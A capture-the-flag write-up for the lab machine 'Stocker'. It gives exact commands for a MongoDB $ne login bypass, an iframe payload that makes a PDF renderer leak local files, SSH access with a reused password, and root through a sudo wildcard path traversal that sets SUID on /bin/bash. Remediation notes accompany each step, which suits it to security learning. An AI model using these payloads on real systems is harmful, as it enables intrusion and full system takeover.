Stocker
Summary
I enumerated a hidden development virtual host on the nginx server and found a Node.js e-commerce application whose JSON login endpoint passed user-supplied objects directly to a MongoDB query, allowing authentication bypass by injecting a $ne (not-equal) operator. Once authenticated, I placed an order whose product-name field was rendered verbatim by a headless Chromium instance to build a purchase-order PDF; embedding an HTML <iframe> tag pointing to a local file path caused the renderer to include the contents of /var/www/dev/index.js in the PDF, exposing a MongoDB connection URI whose password was reused as the SSH password for system account 'angoose'.
Logging in over SSH, I discovered a sudo rule granting angoose passwordless Node.js execution over any .js file matching /usr/local/scripts/*.js; the shell glob was not path-canonicalised, so a traversal sequence (/../../../tmp/) satisfied the pattern while pointing the interpreter at my own code, which set the SUID bit on /bin/bash and produced a root-effective shell — full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered, for angoose>"Attack path — how the box was taken
Exact commands 3
Full TCP port scan with service-version detection.
$ nmap -sC -sV -p- --min-rate 5000 -oN nmap_full.txt $TARGETFuzz for virtual hosts; -fw 7 filters the static-page baseline word count. Reveals dev.stocker.htb.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.stocker.htb' -u http://$TARGET -fw 7 -o vhosts.txtRegister both vhosts for local name resolution.
$ echo "$TARGET stocker.htb dev.stocker.htb" | sudo tee -a /etc/hostsExact commands 2
Inject $ne operators; a 302 redirect to /stock and a connect.sid cookie confirm bypass success.
$ curl -s -X POST http://dev.stocker.htb/login -H 'Content-Type: application/json' -d '{"username":{"$ne":"x"},"password":{"$ne":"x"}}' -c cookies.txt -L -v 2>&1 | grep -E 'HTTP/|Location|Set-Cookie'Confirm authenticated access to the product catalogue.
$ curl -s http://dev.stocker.htb/stock -b cookies.txt | head -60FixValidate login input types and prevent MongoDB operator injectionCritical
Exact commands 2
Retrieve product _id values needed to construct a valid order payload.
$ curl -s http://dev.stocker.htb/api/products -b cookies.txt | python3 -m json.tool | head -40Place order with iframe LFI payload targeting the application source file; save the returned orderId.
$ curl -s -X POST http://dev.stocker.htb/api/order -H 'Content-Type: application/json' -b cookies.txt -d '{"basket":[{"_id":"638f116eeb060210cbd83a8d","amount":1,"price":1337,"title":"<iframe src=file:///var/www/dev/index.js height=1500 width=1500></iframe>","image":"red-cup.jpeg"}]}' | tee order_resp.jsonFixHTML-encode order item fields and disable local-file access in the PDF rendererCritical
Exact commands 2
Download the generated PDF using the orderId from step 3.
$ ORDER_ID=$(python3 -c "import json; print(json.load(open('order_resp.json'))['orderId'])") && curl -s "http://dev.stocker.htb/api/po/$ORDER_ID" -b cookies.txt -o /tmp/stocker_lfi.pdfConvert the PDF to text and search for database connection strings.
$ pdftotext /tmp/stocker_lfi.pdf - | grep -iE 'mongo|dburi|require\(|password|localhost'Exact commands 2
Log in over SSH with the reused database password.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null angoose@$TARGETConfirm session identity and capture the user flag — expected value: <user.txt>.
$ id; cat /home/angoose/user.txt
uid=1001(angoose) gid=1001(angoose) groups=1001(angoose)FixUse unique credentials for the database service account and OS user accountsHigh
Exact commands 2
Run as angoose to list permitted sudo commands; confirm the NOPASSWD node /usr/local/scripts/*.js rule.
$ sudo -lInspect the intended scripts directory to confirm ownership and existing files.
$ ls -la /usr/local/scripts/FixRemove or strictly scope the Node.js sudo rule to prevent wildcard path traversalCritical
Exact commands 4
Write the SUID-bash payload to /tmp/pwn.js.
$ echo 'require("child_process").execSync("chmod +s /bin/bash")' > /tmp/pwn.jsExecute the payload as root via path traversal; the path ends in .js so the glob matches.
$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/pwn.jsSpawn a root-effective shell; -p preserves the SUID-elevated EUID.
$ /bin/bash -pConfirm root identity and capture the root flag — expected value: <root.txt>.
$ id; cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.